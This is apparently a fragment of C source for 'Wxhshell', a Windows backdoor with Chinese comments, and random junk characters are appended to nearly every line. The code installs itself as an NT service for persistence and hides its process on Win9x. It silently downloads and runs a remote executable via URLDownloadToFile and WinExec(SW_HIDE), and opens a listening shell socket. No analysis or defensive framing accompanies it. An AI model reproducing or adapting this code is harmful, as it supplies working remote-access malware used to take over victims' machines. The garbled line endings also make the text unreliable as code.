ULONG InheritedFromUniqueProcessId; .{
^4I
} PROCESS_BASIC_INFORMATION; iJ_`ZM.w
}T%;G /W
PROCNTQSIP NtQueryInformationProcess; 8;9GM^L
i$[wgvJIV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s>z$_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jhu<^pjs
,?i^i#Wqzg
HANDLE hProcess; 3N6U6.Tqb
PROCESS_BASIC_INFORMATION pbi; k7P~*ll$
d{+H|$L`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :0>wm@qCQ
if(NULL == hInst ) return 0; @-~YQ@08`
X&DuX %x0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w]
LN(o:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <\Nf6>_qEM
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +:1ay^YI
pgz3d{]ua
if (!NtQueryInformationProcess) return 0; o>#<c
@
@OAX#iQl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6'ye-}vD-
if(!hProcess) return 0; K6=-Zf
?cdSZ'49[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ; iQ@wOL]
XPXC7_fV
CloseHandle(hProcess); !OM9aITv[
*/xI#G,O+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OqUEj 0X
if(hProcess==NULL) return 0; r:K)Q@
yAtM|:qq
HMODULE hMod; @eMDRbgq;[
char procName[255]; ,S;?3? a
unsigned long cbNeeded; USu/Y29
k\_>/)g
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G;615p1
Q_/{TE/sO5
CloseHandle(hProcess); #{7=
uoFH{.)
if(strstr(procName,"services")) return 1; // 以服务启动 L5%~H?K(
OTd=(dwh
return 0; // 注册表启动 DCX4!,ZF
} >=^g%K$L6J
gwQL9
UYx
// 主模块 $/,qw
int StartWxhshell(LPSTR lpCmdLine) :Oo
{ =%Gecj
SOCKET wsl; cRz7.9-<
BOOL val=TRUE; isHa4 D0
int port=0; +xRja(d6
struct sockaddr_in door; (rFY8oHD
m}6GVQ'Q
if(wscfg.ws_autoins) Install(); C]*9:lK
<Sm -Z,|
port=atoi(lpCmdLine); AM##:4
FB@c
+*1
if(port<=0) port=wscfg.ws_port; +^<CJNDL9
J/w?Fa<
WSADATA data; #!h:w
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;3Fgy8T
h+zJ"\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bj(U?$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L':;Vv~-
door.sin_family = AF_INET; /fA:Fnv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &PD4+%!
door.sin_port = htons(port); |U1X~\""
Lcplc"C
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4 *He<2g
closesocket(wsl); Rg<y8~|'}
return 1; ^SxB b,\
} 2uS&A
\
V!c{%zd
if(listen(wsl,2) == INVALID_SOCKET) { cg7NtY
closesocket(wsl); W5$jIQ}Bw
return 1; rj$u_y3S*
} $rs7D}VNc
Wxhshell(wsl); 1 dz&J\|E#
WSACleanup(); `>rdn*B
9/D+6hJ]:
return 0; F0bmGDp@-
z|}Anc[\
} /+2^xEIjE
?F*gFW_k
// 以NT服务方式启动 ex $d~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &AGV0{NMh]
{ RK/SeS
DWORD status = 0; ?Z(
6..&
DWORD specificError = 0xfffffff; 9XF+?
x
!-x^b.${B
serviceStatus.dwServiceType = SERVICE_WIN32; Vj0`*nC)/
serviceStatus.dwCurrentState = SERVICE_START_PENDING; P_hwa1~d
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "6
dC
serviceStatus.dwWin32ExitCode = 0; KmEm
serviceStatus.dwServiceSpecificExitCode = 0; -DX|[70
serviceStatus.dwCheckPoint = 0; PLg`\|
serviceStatus.dwWaitHint = 0; QtkyKR
@s2z/h0H
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {qx}f^WV
if (hServiceStatusHandle==0) return; 93)&
!s\-i6S>
status = GetLastError(); ~c! XQJ
if (status!=NO_ERROR) =B*,S#r
{ W)<us?5Ec5
serviceStatus.dwCurrentState = SERVICE_STOPPED; nXb;&n%
serviceStatus.dwCheckPoint = 0; hX$k8 o0
serviceStatus.dwWaitHint = 0; pb$U~TvzhM
serviceStatus.dwWin32ExitCode = status; /V46:`V
serviceStatus.dwServiceSpecificExitCode = specificError; Jnb>u*7,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Dqg<U
return; u` `FD
} n:`> QY
`DC)U1
serviceStatus.dwCurrentState = SERVICE_RUNNING; e}(ws~.
serviceStatus.dwCheckPoint = 0; TaG'?
serviceStatus.dwWaitHint = 0; vov"60K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )]n:y M
} DWHl,w;[z`
zYYc#N/
// 处理NT服务事件,比如:启动、停止 P`Anf_
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8>T
'
{ syv6" 2Z'B
switch(fdwControl) @/`b:sv&*
{ kE UfQLbn
case SERVICE_CONTROL_STOP: NL0X =i
serviceStatus.dwWin32ExitCode = 0; FX+Ra@I!
serviceStatus.dwCurrentState = SERVICE_STOPPED; 87>\wUJ
serviceStatus.dwCheckPoint = 0; N#6&t8;kTC
serviceStatus.dwWaitHint = 0; Y=x]'3}^
{ _E:]qv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?#rDoYt/Sx
} -_%n\#
return; .B"h6WMz
case SERVICE_CONTROL_PAUSE: ka[]pY
serviceStatus.dwCurrentState = SERVICE_PAUSED; EbY%:jR
break; mUm9[X~'
case SERVICE_CONTROL_CONTINUE: fN?HF'7V
serviceStatus.dwCurrentState = SERVICE_RUNNING; j Bl I^
break; "So+
case SERVICE_CONTROL_INTERROGATE: Cc]t*;nU_
break; {E@Vh
}; iU~oPp[e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J5mMx)t@
} g&\A1H
<lB^>Hfu
// 标准应用程序主函数 T,!?+#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &xj?MgdNL
{ bv4lgRE6Y
0V}%'Ec<e
// 获取操作系统版本 i?A4uyYwS
OsIsNt=GetOsVer(); ,+oQ 5c(f
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3EI$tP @4
DdN{=}A
// 从命令行安装 \6T&gX
if(strpbrk(lpCmdLine,"iI")) Install(); W-<C%9O!
[_^K}\/+
// 下载执行文件 TC<_I0jCh
if(wscfg.ws_downexe) { MkRRBvk
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K!).QB'
WinExec(wscfg.ws_filenam,SW_HIDE); A]WU*GL2H
} 2p Q
zT
*=$Jv1"Q
+
if(!OsIsNt) { 7Fh%jRHZ`
// 如果时win9x,隐藏进程并且设置为注册表启动 xeIt7b?#
HideProc(); ) 'j7Ra
StartWxhshell(lpCmdLine); #B88w9
b`D
}
^I5k+cL
else cE$<6&0
if(StartFromService()) H]H*Ouu["e
// 以服务方式启动 ,@;",
StartServiceCtrlDispatcher(DispatchTable); ,?3r-bM
else ] L"jt8E
// 普通方式启动 Z_zN:BJ8L
StartWxhshell(lpCmdLine); 0/6f9A
U,gg@!1GJo
return 0; ,gVA^]eDh
}